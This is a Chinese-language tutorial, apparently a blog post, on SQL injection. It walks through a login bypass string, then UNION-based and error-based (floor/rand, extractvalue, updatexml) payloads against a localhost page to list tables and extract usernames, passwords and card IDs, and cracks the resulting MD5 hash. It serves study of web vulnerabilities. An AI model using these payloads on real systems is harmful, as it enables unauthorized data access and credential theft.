SQL注入

union查询注⼊是最基础的注⼊。在SQL中,UNION操作符⽤于合并两个或多个SELECT语句的结果。 union查询注⼊利⽤UNION关键字,可以追加⼀条或者多条额外的SELECT查询,
并将结果追加到原始查询中。联合查询会"纵向"拼接两个或多个SELECT语句的结果
适⽤条件
条件⼀:⽹⻚存在注⼊点,有回显。
条件⼆:需要满⾜ union 语句要求:
union 前后两个 select 的结果集,应具有相同列数;
union 前后两个 select 的结果集,对应列应是相同数据类型;

一、万能密码
' or '1' ='1
二、
1获得数据库的名字(难点:表的数据库又是哪一个?)
2获得数据库的所有表(难点:表是哪一个?)
3查看具体表里面的内容(获得用户名+密码)(难点:用户名与密码存放到哪里?)
1、获得数据库的名字
数据库中的语句:select * from news where datestr='' union select DATABASE(),'','',''
转化为链接上的语句:
http://localhost/wz/url.php?date=' union select DATABASE(),'','','
2、获得数据库的所有表
select * from news where datestr='' union SELECT (select GROUP_CONCAT(TABLE _name )
from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','',''
链接:
http://localhost/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name )from
information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','','
3、查看具体表里面的内容
首先查询表里的字段名:
select * from news where datestr=''
union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c
where c.TABLE_SCHEMA='game' and c.TABL
E_NAME='user'),'','',''
转化为链接:
http://localhost/wz/url.php?date=' union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','','
得到用户表字段名后
select * from news where datestr='20231012'
union
select username, PASSWORD ,cardid,'需要的数据' from user
转化为链接:
http://localhost/wz/url.php?date=' union select username,PASSWORD ,cardid,'需要的数据'
from user where '1' ='1

以上为UNION型注入,但如果防御强的话,可能出现问题,下边学习报错型注入,是被动注入。
三、SQL注⼊之报错型注⼊漏洞
报错注⼊是利⽤⽹站的报错信息 来带出我们想要的信息,就是在错误信息中执⾏ sql 语句
报错型注⼊的使⽤条件:
考虑到成功率 和 时间成本 ⽐ union 成本⾼,需要数据库有错误信息,⼀般在 union 条
件不能实施的时候,才考虑 "报错型注⼊"
1、获取 数据库名
注⼊点,填写到 留⾔内容的编辑框中
数据库中的SQL:
(select 1 from (select count(*),concat(0x5e,(select database() from informa
tion_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_sch
ema.tables group by x)a)
注入点的语句:
'or (select 1 from (select count(*),concat(0x5e,(select database() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from
information_schema.tables group by x)a) or'
执⾏此SQL,让其报错,错误就是 我想要的
2、获取表名:
数据库语句:
SELECT extractvalue(1, concat(0x5c, (select group_concat(table_name) from
information_schema.tables where table_schema='jrlt'),0x5c))
注入点语句:
' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from
information_schema.tables where table_schema='jrlt'),0x5c)) or '
3、获取表字段
数据库语句:
SELECT updatexml(1,concat(0x5e,(select group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema='jrlt'
),0x5e),1)
注入点语句:
' or updatexml(1,concat(0x5e,(select group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema='jrlt
'),0x5e),1) or '
4、获取数据
注入点语句
' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users l
imit 0,1),0x5e),1) or'
发现 e10adc3949ba59abbe56e057 结果显示出来,但数据不对,原因是 updataxml()对仅能获
取返回 32 位字符,对于 ⻓字符串需要分批次获取
最后把 e10adc3949ba59abbe56e057f20f883e ⽤
https://www.sojson.com/encrypt_md5.html 解密
以上内容就是实战中的SQL注入的思路,关键点还是要学会找到注入点。把语句放入注入点就可以,需要的时候进行微调。

相关推荐
API快乐传递者1 小时前
淘宝海外商品详情接口实战指南:从全球开放平台到跨境铺货的全链路方案
java·前端·数据库
tachibana22 小时前
复杂的 RAG 范式
数据库·人工智能·ai·大模型·agent
黄金龙PLUS2 小时前
Xoodoo置换算法的优缺点
算法·网络安全·密码学·哈希算法·同态加密
2501_931803752 小时前
MySQL 增删改查详解
数据库
Sagittarius_A*2 小时前
【LitCTF2026】lit_ezsql
android·java·数据库
未秃头的程序猿3 小时前
分库分表一年后,我复盘了当时最该想清楚的三件事
java·数据库·后端
心易行者3 小时前
用html在线运行做数据可视化大屏,5个实战场景从入门到上线
大数据·前端·数据库·人工智能·python
꯭自꯭闭꯭3 小时前
达梦(DM8)安装测试
linux·运维·服务器·数据库